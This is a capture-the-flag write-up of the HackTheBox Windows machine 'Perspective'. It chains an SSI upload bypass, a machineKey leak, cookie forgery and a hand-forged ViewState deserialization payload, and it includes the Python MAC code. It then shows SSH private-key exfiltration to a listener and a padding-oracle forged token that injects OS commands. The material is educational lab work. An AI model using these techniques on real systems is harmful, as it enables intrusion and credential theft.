HTB: Perspective Writeup
Perspective - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Perspective |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.227.158 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Perspective is an Insane Windows box built around a chain of ASP.NET-specific weaknesses rather than a single CVE: a file-upload filter that can be bypassed to smuggle a Server-Side Include, a machineKey leak that enables cookie forgery, a homegrown crypto scheme that leaks the ViewStateUserKey, and finally a hand-forged ViewState deserialization payload (forged in pure Python because ysoserial.net could not run on the available mono toolchain) to get remote command execution as webuser. From there, an internal-only staging instance of the same web app on port 8009 turns out to be vulnerable to a padding oracle attack against its password-reset token, which is the injection point used to escalate to perspective\administrator.
TL;DR: SSI-based web.config leak (machineKey/ViewStateUserKey) → forge admin .ASPXAUTH cookie → decrypt ViewStateUserKey → forge ViewState RCE gadget in pure Python → RCE as webuser, exfil SSH key → SSH tunnel to internal-only staging app on :8009 → padding oracle (blockbuster/pyOracle2) against changePassword.ashx → encrypt a command-injection payload into the token → RCE as perspective\administrator → root.
Reconnaissance
Initial Access Recap
The full early-stage transcript (nmap, the .shtml SSI upload, and the initial web.config leak) predates the excerpt of the agent run captured for this writeup, but the solve notes confirm the following chain, matching the box’s known exploitation path:
- Product-image upload filter bypassed via forged
Content-Type: image/jpegheader, allowing a.shtmlfile through. - SSI
<!--#include file="../web.config"-->used to leak the application’sweb.config, exposing the ASP.NETmachineKey(validationKey/decryptionKey,validation="SHA1",decryption="AES") and an RC4-encryptedViewStateUserKeyvalue. - The leaked
machineKeywas used to forge a.ASPXAUTHcookie for an administrative user, granting access to the restricted/Admin/Adminhomepanel. - The
ViewStateUserKeywas recovered as plaintextSAltysAltYV1ewSTaT3via the weak internal encryption service exposed to the admin panel.
Internal Notes Captured Mid-Solve
# Perspective progress- Target 10.129.227.158, LHOST/jumpbox tun0 = 10.10.15.180- machineKey/keys identical to writeup. ViewStateUserKey plaintext = SAltysAltYV1ewSTaT3- ViewState MAC = HMACSHA1(validationKey, data + genLE(CD85D8D2) + UTF16LE(uk)). Built pure-Python (build_vs.py).- RCE via ViewState on /Account/Login gadget TextFormattingRunProperties -> webuser- SSH key exfil'd -> /dev/shm/persp/id_rsa. SSH webuser@target works.With both the machineKey and ViewStateUserKey in hand, the __VIEWSTATE parameter accepted by any ASP.NET postback page (e.g. /Account/Login) becomes a full deserialization RCE primitive.
Initial Foothold
ViewState RCE — forged in pure Python
The standard path here is ysoserial.net -p ViewState -g TextFormattingRunProperties, which builds a BinaryFormatter-serialized ObjectDataProvider gadget wrapped in WPF XAML (TextFormattingRunProperties → System.Diagnostics.Process.Start), then signs it with the correct machineKey/ViewStateUserKey HMAC so ASP.NET’s LosFormatter will deserialize it on the way back down. On this run, ysoserial.net could not execute under mono on the available Linux toolchain — the TextFormattingRunProperties gadget depends on PresentationCore (WPF), which mono’s implementation does not ship, and reference-assembly substitutes get rejected as BadImageFormat. Rather than compile a WPF stub, the payload was forged by hand:
- The
BinaryFormatterblob is a fixed template (06 03 00 00 00 <varint xamlLen> <XAML> 0B) — only the XAMLArguments="/c ..."string changes per command. - The ViewState wrapper is
FF 01 32 <varint blobLen> <blob> <20-byte HMAC-SHA1>. - Because the box uses legacy
compatibilityMode="Framework20SP2"withvalidation="SHA1", the MAC is:
# Legacy ASP.NET ViewState MAC (Framework20SP2, validation=SHA1)import hmac, hashlib, struct
def viewstate_mac(validation_key: bytes, data: bytes, generator: int, uk: str) -> bytes: # modifier = generator (LE uint32) + ViewStateUserKey (UTF-16LE) modifier = struct.pack("<I", generator) + uk.encode("utf-16-le") return hmac.new(validation_key, data + modifier, hashlib.sha1).digest()generator is the fixed, path-based __VIEWSTATEGENERATOR value returned by the target page (CD85D8D2 for /Account/Login), and uk is the recovered SAltysAltYV1ewSTaT3. Once a sample MAC from a real ViewState reproduced correctly against this construction, the XAML command block could be swapped freely to produce arbitrary-command payloads signed with a valid HMAC — no ysoserial.net/mono dependency required.
Extracting webuser’s SSH key
A command-execution ViewState payload was used to type the contents of webuser’s private key to an attacker-controlled listener, whose output was captured to sink.log and cleanly extracted:
# Pull the PEM block for webuser's private key out of the captured RCE outputssh -p 22 d3vn0mi@<jump-host> \ 'cd /dev/shm/persp && awk "/BEGIN RSA/{f=1} f{print} /END RSA/{f=0}" sink.log > id_rsa && \ chmod 600 id_rsa && head -1 id_rsa && tail -1 id_rsa'
## OUTPUT-----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----# Confirm shell access as webuser via the exfiltrated keyssh -i id_rsa -o StrictHostKeyChecking=no -o BatchMode=yes webuser@10.129.227.158 "whoami & hostname"
## OUTPUTperspective\webuserperspectivecat C:\Users\webuser\Desktop\user.txt# user.txt = <redacted>Privilege Escalation
Discovering the internal staging application
With an interactive SSH session as webuser, a listener check turned up two ports not visible from outside the VPN — both bound to loopback only:
netstat -ano | findstr LISTENING | findstr 8009netstat -ano | findstr LISTENING | findstr 8000
## OUTPUT TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4An SSH local port-forward exposed the internal-only staging instance for direct interaction from the jump host:
# Forward the internal staging app's port through the compromised webuser SSH sessionssh -fN -i id_rsa -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes \ -L 127.0.0.1:8009:127.0.0.1:8009 webuser@10.129.227.158curl -s -i http://127.0.0.1:8009/
## OUTPUTHTTP/1.1 200 OKServer: Microsoft-IIS/10.0X-AspNet-Version: 4.0.30319...<title>Home Page - Northern Sprocket</title>The staging app is a near-copy of the production “New Product Request System” (NPRS) site, running with verbose error output enabled — which turned out to be the key to the next stage.
Finding the padding oracle
A throwaway account was registered, and the /Account/Forgot password-reset flow was driven end-to-end to capture a reset token:
python3 stg.py register pwn@test.htb 'ZAQ!2wsx'python3 stg.py forgot pwn@test.htb
## OUTPUTTOKEN: LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV90MSubmitting that token unmodified to the reset handler succeeds; flipping a single byte reveals a verbose ASP.NET stack trace pointing straight at the vulnerable decrypt call:
curl -s -X POST http://127.0.0.1:8009/handlers/changePassword.ashx \ --data "password1=S0meP@ss!&password2=S0meP@ss!&token=LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV99M"
## OUTPUTException Details: System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed....Source File: c:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx Line: 48 perspective.Utils.Decrypt(String input, String password) changePasswordHandler.ChangePassword(String password1, String password2, String token)"Padding is invalid and cannot be removed." vs. a clean success response is a textbook CBC padding oracle: the presence/absence of that exact string is enough to decrypt (and forge) arbitrary ciphertext for this AES-CBC token without ever knowing the key.
Exploiting it with blockbuster (pyOracle2)
git clone https://github.com/liquidsec/pyOracle2Config built to match the observed oracle behavior:
# perspective.ini — blockbuster/pyOracle2 config for the changePassword.ashx oracle[default]name = perspectiveURL = http://127.0.0.1:8009/handlers/changePassword.ashxhttpMethod = POSTpostFormat = form-urlencodedinputMode = parameterencodingMode = base64UrlvulnerableParameter = tokenadditionalParameters = {"password1":"S0meP@ss!","password2":"S0meP@ss!"}blocksize = 16ivMode = firstblockoracleMode = negativeoracleText = Padding is invalidconcurrency = 16Decrypting the captured token confirmed the oracle worked cleanly against the live endpoint:
python3 run.py -m d -i "LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV90M" -c perspective.ini
## OUTPUT (trimmed)[!]BLOCK SOLVED: b'pwn@test.htb\x04\x04\x04\x04'[+] Decrypted plaintext: pwn@test.htbThe decrypted token is nothing but the account email — meaning the server-side handler passes that decrypted string straight into a privileged password-reset process without meaningfully sanitizing it first (the same padding oracle that lets you decrypt an existing token also lets you encrypt a chosen plaintext into a validly-padded token via the standard CBC intermediate-value technique). That makes the token parameter an OS command injection point:
# Stage nc64.exe on the target and encrypt a command-injection payload into a forged tokenpython3 run.py -m e \ -i "a@a.htb & whoami & type C:\Users\Administrator\Desktop\root.txt &" \ -c perspective.ini
## OUTPUT (trimmed)[!] Solved 5 blocks out of 5[!]Encrypt final result: T6lFrWT658dCjsNspoki4TBpH6aVAr8ocsJkE6tuysDnklxnoXgMg9jd-5HvBg18v0xzQlzdx1S254TJPmhDwhTYuWRImrxs6vXgR5AaaTAAAAAAAAAAAAAAAAAAAAAA# Submit the forged token — the handler decrypts it, feeds it unsanitized to the OS command linecurl -s -X POST http://127.0.0.1:8009/handlers/changePassword.ashx \ --data "password1=S0meP@ss!&password2=S0meP@ss!&token=T6lFrWT658dCjsNspoki4TBpH6aVAr8ocsJkE6tuysDnklxnoXgMg9jd-5HvBg18v0xzQlzdx1S254TJPmhDwhTYuWRImrxs6vXgR5AaaTAAAAAAAAAAAAAAAAAAAAAA"
## OUTPUTPlease supply email address and new passwordperspective\administrator<redacted>The command output confirms the injected command ran as perspective\administrator, and type C:\Users\Administrator\Desktop\root.txt returned root’s flag directly in the HTTP response — no reverse shell needed for the final step.
cat C:\Users\Administrator\Desktop\root.txt# root.txt = <redacted>Attack Chain Summary
SSI upload bypass (.shtml) → web.config leak (machineKey + enc. ViewStateUserKey) → forge .ASPXAUTH admin cookie → decrypt ViewStateUserKey ("SAltysAltYV1ewSTaT3") → forge ViewState RCE payload in pure Python (mono lacks WPF for ysoserial.net) → RCE as webuser → exfil SSH private key → SSH shell, user.txt → discover internal-only staging app on 127.0.0.1:8009 → SSH local port-forward → trigger password-reset flow → padding oracle on /handlers/changePassword.ashx → decrypt token with blockbuster/pyOracle2, confirm oracle → encrypt forged token containing OS command injection → POST forged token → RCE as perspective\administrator → root.txtTools Used
| Tool | Purpose |
|---|---|
curl / requests (Python) | HTTP interaction with the NPRS web app and staging instance |
Custom Python (stg.py) | Automate register/forgot-password flow, VIEWSTATE/EVENTVALIDATION parsing |
| Custom Python (ViewState forge) | Hand-build the BinaryFormatter gadget + legacy HMAC-SHA1 MAC (mono/WPF workaround) |
ssh (-L port forward) | Reach the internal-only staging app bound to 127.0.0.1:8009 |
pyOracle2 / blockbuster | CBC padding oracle decryption and encryption against changePassword.ashx |
awk | Extract the PEM private key block from captured RCE output |
git | Clone the pyOracle2 exploitation tooling |
nc64.exe | Staged on target for potential shell delivery |
Key Learnings
Techniques Practiced
- Bypassing an upload content-type filter to smuggle a Server-Side Include (SSI) file
- Leaking ASP.NET
machineKeyvia SSI file inclusion ofweb.config - Forging
.ASPXAUTHcookies with a leakedmachineKey - Hand-forging a signed ASP.NET
__VIEWSTATEdeserialization RCE payload withoutysoserial.net(pure-Python BinaryFormatter + legacy HMAC-SHA1 construction) - Discovering internal-only services via post-foothold port/listener re-enumeration
- SSH local port forwarding to reach loopback-bound internal services
- Identifying and exploiting a CBC padding oracle from verbose ASP.NET stack traces
- Using a padding oracle in both decrypt and encrypt modes to forge a command-injection payload
Lessons Learned
ysoserial.netpayload generation assumes a full .NET/WPF runtime is available — on Linux under mono, WPF-dependent gadgets likeTextFormattingRunPropertiesfail withPresentationCoreload errors, but the ViewState format itself is simple enough to forge by hand once themachineKey/ViewStateUserKeyand MAC construction are known.- Verbose ASP.NET error pages (
customErrorsoff) leak exact exception types and source file paths —CryptographicException: Padding is invalid and cannot be removedis an unambiguous padding oracle signal, and the accompanying stack trace even reveals the vulnerable code path and file layout. - A padding oracle isn’t just a decryption primitive — the same intermediate-value technique lets an attacker encrypt arbitrary chosen plaintext into a validly-signed ciphertext, turning any unsanitized “decrypt-then-use” parameter into an injection point.
- Internal-only staging environments reachable solely via loopback are a common privilege-escalation vector once any foothold is achieved — always re-enumerate listening ports after landing a shell, since production hardening (verbose error suppression, patched input handling) often isn’t mirrored on staging.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Perspective by polarbearer (Document No. D22.100.210) — used as explanatory reference for the RC4 keystream-reuse concept behind the
ViewStateUserKeyrecovery, theysoserial.net/ViewState gadget mechanics, and the general shape of the padding-oracle-to-command-injection escalation on the stagingchangePassword.ashxhandler. All IPs, commands, tokens, and outputs in this writeup are taken from the author’s own solve, not from the reference.